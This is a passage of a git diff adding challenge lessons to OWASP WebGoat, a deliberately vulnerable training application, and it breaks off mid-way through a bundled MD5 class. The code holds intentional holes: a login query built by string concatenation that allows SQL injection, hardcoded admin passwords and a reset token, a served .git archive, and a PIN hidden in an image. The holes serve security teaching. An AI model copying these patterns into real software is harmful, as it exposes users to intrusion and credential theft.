1, currentChallenge.length())); + String expectedFlag = FLAGS.get(challengeNumber); + final AttackResult attackResult; + if (expectedFlag.equals(flag)) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber); + attackResult = success(this).feedback("challenge.flag.correct").build(); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + attackResult = failed(this).feedback("challenge.flag.incorrect").build(); + } + userTrackerRepository.save(userTracker); + return attackResult; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java new file mode 100644 index 000000000..890d80d06 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java @@ -0,0 +1,37 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +/** + * Interface with constants so we can easily change the flags + * + * @author nbaars + * @since 3/23/17. + */ +public interface SolutionConstants { + + // TODO should be random generated when starting the server + String PASSWORD = "!!webgoat_admin_1234!!"; + String PASSWORD_TOM = "thisisasecretfortomonly"; + String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java new file mode 100644 index 000000000..0d07c7427 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java @@ -0,0 +1,69 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since August 11, 2016 + */ +@RestController +public class Assignment1 extends AssignmentEndpoint { + + @PostMapping("/challenge/1") + @ResponseBody + public AttackResult completed( + @RequestParam String username, @RequestParam String password, HttpServletRequest request) { + boolean ipAddressKnown = true; + boolean passwordCorrect = + "admin".equals(username) + && PASSWORD + .replace("1234", String.format("%04d", ImageServlet.PINCODE)) + .equals(password); + if (passwordCorrect && ipAddressKnown) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); + } else if (passwordCorrect) { + return failed(this).feedback("ip.address.unknown").build(); + } + return failed(this).build(); + } + + public static boolean containsHeader(HttpServletRequest request) { + return StringUtils.hasText(request.getHeader("X-Forwarded-For")); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java new file mode 100644 index 000000000..fa9129040 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge1 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge1.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java new file mode 100644 index 000000000..1de00e012 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.springframework.web.bind.annotation.RequestMethod.GET; +import static org.springframework.web.bind.annotation.RequestMethod.POST; + +import java.io.IOException; +import java.security.SecureRandom; +import javax.servlet.http.HttpServlet; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ImageServlet extends HttpServlet { + + private static final long serialVersionUID = 9132775506936676850L; + public static final int PINCODE = new SecureRandom().nextInt(10000); + + @RequestMapping( + method = {GET, POST}, + value = "/challenge/logo", + produces = MediaType.IMAGE_PNG_VALUE) + @ResponseBody + public byte[] logo() throws IOException { + byte[] in = + new ClassPathResource("lessons/challenges/images/webgoat2.png") + .getInputStream() + .readAllBytes(); + + String pincode = String.format("%04d", PINCODE); + + in[81216] = (byte) pincode.charAt(0); + in[81217] = (byte) pincode.charAt(1); + in[81218] = (byte) pincode.charAt(2); + in[81219] = (byte) pincode.charAt(3); + + return in; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java new file mode 100644 index 000000000..d6b8dcceb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges.challenge5; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +public class Assignment5 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public Assignment5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/challenge/5") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { + return failed(this).feedback("required4").build(); + } + if (!"Larry".equals(username_login)) { + return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build(); + } + try (var connection = dataSource.getConnection()) { + PreparedStatement statement = + connection.prepareStatement( + "select password from challenge_users where userid = '" + + username_login + + "' and password = '" + + password_login + + "'"); + ResultSet resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); + } else { + return failed(this).feedback("challenge.close").build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java new file mode 100644 index 000000000..7fe4cfa9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges.challenge5; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge5 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge5.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java new file mode 100644 index 000000000..30e17288c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.net.URI; +import java.net.URISyntaxException; +import java.time.LocalDateTime; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Email; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.owasp.webgoat.lessons.challenges.SolutionConstants; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment7 extends AssignmentEndpoint { + + private static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @Autowired private RestTemplate restTemplate; + + @Value("${webwolf.mail.url}") + private String webWolfMailURL; + + @GetMapping("/challenge/7/reset-password/{link}") + public ResponseEntity resetPassword(@PathVariable(value = "link") String link) { + if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) { + return ResponseEntity.accepted() + .body( + "

Success!!

" + + "" + + "

Here is your flag: " + + "" + + Flag.FLAGS.get(7) + + ""); + } + return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT) + .body("That is not the reset link for admin"); + } + + @PostMapping("/challenge/7") + @ResponseBody + public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) + throws URISyntaxException { + if (StringUtils.hasText(email)) { + String username = email.substring(0, email.indexOf("@")); + if (StringUtils.hasText(username)) { + URI uri = new URI(request.getRequestURL().toString()); + Email mail = + Email.builder() + .title("Your password reset link for challenge 7") + .contents( + String.format( + TEMPLATE, + uri.getScheme() + "://" + uri.getHost(), + new PasswordResetLink().createPasswordReset(username, "webgoat"))) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()) + .build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + } + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) + @ResponseBody + public ClassPathResource git() { + return new ClassPathResource("challenge7/git.zip"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java new file mode 100644 index 000000000..ee14c8325 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge7 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge7.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java new file mode 100644 index 000000000..d523b6ba9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java @@ -0,0 +1,725 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; + +/** + * MD5 hash generator. More information about this class is available from ostermiller.org. + * + *

This class takes as input a message of arbitrary length and produces as output a 128-bit + * "fingerprint" or "message digest" of the input. It is conjectured that it is computationally + * infeasible to produce two messages having the same message digest, or to produce any message + * having a given pre-specified target message digest. The MD5 algorithm is intended for digital + * signature applications, where a large file must be "compressed" in a secure manner before being + * encrypted with a private (secret) key under a public-key cryptosystem such as RSA. + * + *

For more information see RFC1321. + * + * @author Santeri Paavolainen http://santtu.iki.fi/md5/ + * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities + * @since ostermillerutils 1.00.00 + */ +public class MD5 { + + /** + * Class constructor + * + * @since ostermillerutils 1.00.00 + */ + public MD5() { + reset(); + } + + /** + * Command line program that will take files as arguments and output the MD5 sum for each file. + * + * @param args command line arguments + * @since ostermillerutils 1.00.00 + */ + public static void main(String[] args) { + if (args.length == 0) { + System.err.println("Please specify a file."); + } else { + for (String element : args) { + try { + System.out.println(MD5.getHashString(new File(element)) + " " + element); + } catch (IOException x) { + System.err.println(x.getMessage()); + } + } + } + } + + /** + * Gets this hash sum as an array of 16 bytes. + * + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public byte[] getHash() { + if (!finalState.valid) { + finalState.copy(workingState); + long bitCount = finalState.bitCount; + // Compute the number of left over bits + int leftOver = (int) (((bitCount >>> 3)) & 0x3f); + // Compute the amount of padding to add based on number of left over bits. + int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver); + // add the padding + update(finalState, padding, 0, padlen); + // add the length (computed before padding was added) + update(finalState, encode(bitCount), 0, 8); + finalState.valid = true; + } + // make a copy of the hash before returning it. + return encode(finalState.state, 16); + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + public String getHashString() { + return toHex(this.getHash()); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHash(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(File f) throws IOException { + byte[] hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHash(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(File f) throws IOException { + String hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHashString(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return 32-character hex representation the data's MD5 hash. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHashString(); + } + + /** + * Reset the MD5 sum to its initial state. + * + * @since ostermillerutils 1.00.00 + */ + public void reset() { + workingState.reset(); + finalState.valid = false; + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + @Override + public String toString() { + return getHashString(); + } + + /** + * Update this hash with the given data. + * + *

A state may be passed into this method so that we can add padding and finalize a md5 hash + * without limiting our ability to update more data later. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param state Which state is updated. + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + private void update(MD5State state, byte buffer[], int offset, int length) { + + finalState.valid = false; + + // if length goes beyond the end of the buffer, cut it short. + if ((length + offset) > buffer.length) { + length = buffer.length - offset; + } + + // compute number of bytes mod 64 + // this is what we have sitting in a buffer + // that have not been hashed yet + int index = (int) (state.bitCount >>> 3) & 0x3f; + + // add the length to the count (translate bytes to bits) + state.bitCount += length << 3; + + int partlen = 64 - index; + + int i = 0; + if (length >= partlen) { + System.arraycopy(buffer, offset, state.buffer, index, partlen); + transform(state, decode(state.buffer, 64, 0)); + for (i = partlen; (i + 63) < length; i += 64) { + transform(state, decode(buffer, 64, i)); + } + index = 0; + } + + // buffer remaining input + if (i < length) { + for (int start = i; i < length; i++) { + state.buffer[index + i - start] = buffer[i + offset]; + } + } + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int offset, int length) { + update(workingState, buffer, offset, length); + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int length) { + update(buffer, 0, length); + } + + /** + * Update this hash with the given data. + * + * @param buffer Array of bytes to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[]) { + update(buffer, 0, buffer.length); + } + + /** + * Updates this hash with a single byte. + * + * @param b byte to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte b) { + byte buffer[] = new byte[1]; + buffer[0] = b; + update(buffer, 1); + } + + /** + * Update this hash with a String. The string is converted to bytes using the current platform's + * default character encoding. + * + * @param s String to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(String s) { + update(s.getBytes()); + } + + /** + * Update this hash with a String. + * + * @param s String to be hashed. + * @param enc The name of a supported character encoding. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public void update(String s, String enc) throws UnsupportedEncodingException { + update(s.getBytes(enc)); + } + + /** + * The current state from which the hash sum can be computed or updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State workingState = new MD5State(); + + /** + * Cached copy of the final MD5 hash sum. This is created when the hash is requested and it is + * invalidated when the hash is updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State finalState = new MD5State(); + + /** + * Temporary buffer cached here for performance reasons. + * + * @since ostermillerutils 1.00.00 + */ + private int[] decodeBuffer = new int[16]; + + /** + * 64 bytes of padding that can be added if the length is not divisible by 64. + * + * @since ostermillerutils 1.00.00 + */ + private static final byte padding[] = { + (byte) 0x80, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + }; + + /** + * Contains internal state of the MD5 class. Passes MD5 test suite as defined in RFC1321. + * + * @since ostermillerutils 1.00.00 + */ + private class MD5State { + + /** + * True if this state is valid. + * + * @since ostermillerutils 1.00.00 + */ + private boolean valid = true; + + /** + * Reset to initial state. + * + * @since ostermillerutils 1.00.00 + */ + private void reset() { + state[0] = 0x67452301; + state[1] = 0xefcdab89; + state[2] = 0x98badcfe; + state[3] = 0x10325476; + + bitCount = 0; + } + + /** + * 128-byte state + * + * @since ostermillerutils 1.00.00 + */ + private int state[] = new int[4]; + + /** + * 64-bit count of the number of bits that have been hashed. + * + * @since ostermillerutils 1.00.00 + */ + private long bitCount; + + /** + * 64-byte buffer (512 bits) for storing to-be-hashed characters + * + * @since ostermillerutils 1.00.00 + */ + private byte buffer[] = new byte[64]; + + private MD5State() { + reset(); + } + + /** + * Set this state to be exactly the same as some other. + * + * @param from state to copy from. + * @since ostermillerutils 1.00.00 + */ + private void copy(MD5State from) { + System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length); + System.arraycopy(from.state, 0, this.state, 0, this.state.length); + this.valid = from.valid; + this.bitCount = from.bitCount; + } + } + + /** + * Turns array of bytes into string representing each byte as a two digit unsigned hex number. + * + * @param hash Array of bytes to convert to hex-string + * @return Generated hex string + * @since ostermillerutils 1.00.00 + */ + private static String toHex(byte hash[]) { + StringBuilder buf = new StringBuilder(hash.length * 2); + for (byte element : hash) { + int intVal = element & 0xff; + if (intVal < 0x10) { + // append a zero before a one digit hex + // number to make it two digits. + buf.append("0"); + } + buf.append(Integer.toHexString(intVal)); + } + return buf.toString(); + } + + private static int FF(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & c) | (~b & d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int GG(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & d) | (c & ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int HH(int a, int b, int c, int d, int x, int s, int ac) { + a += (b ^ c ^ d); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int II(int a, int b, int c, int d, int x, int s, int ac) { + a += (c ^ (b | ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static byte[] encode(long l) { + byte[] out = new byte[8]; + out[0] = (byte) (l & 0xff); + out[1] = (byte) ((l >>> 8) & 0xff); + out[2] = (byte) ((l >>> 16) & 0xff); + out[3] = (byte) ((l >>> 24) & 0xff); + out[4] = (byte) ((l >>> 32) & 0xff); + out[5] = (byte) ((l >>> 40) & 0xff); + out[6] = (byte) ((l >>> 48) & 0xff); + out[7] = (byte) ((l >>> 56) & 0xff); + return out; + } + + private static byte[] encode(int input[], int len) { + byte[] out = new byte[len]; + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + out[j] = (byte) (input[i] & 0xff); + out[j + 1] = (byte) ((input[i] >>> 8) & 0xff); + out[j + 2] = (byte) ((input[i] >>> 16) & 0xff); + out[j + 3] = (byte) ((input[i] >>> 24) & 0xff); + } + return out; + } + + private int[] decode(byte buffer[], int len, int offset) { + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + decodeBuffer[i] = + ((buffer[j + offset] & 0xff)) + | (((buffer[j + 1 + offset] & 0xff)) << 8) + | (((buffer[j + 2 + offset] & 0xff)) << 16) + | (((buffer[j + 3 + offset] & 0xff)) << 24); + } + return decodeBuffer; + } + + private static void transform(MD5State state, int[] x) { + int a = state.state[0]; + int b = state.state[1]; + int c = state.state[2]; + int d = state.state[3]; + + /* Round 1 */ + a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */ + d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */ + c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */ + b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */ + a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */ + d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */ + c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */ + b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */ + a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */ + d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */ + c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */ + b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */ + a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */ + d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */ + c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */ + b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */ + + /* Round 2 */ + a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */ + d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */ + c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */ + b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */ + a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */ + d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */ + c = GG(c, d, 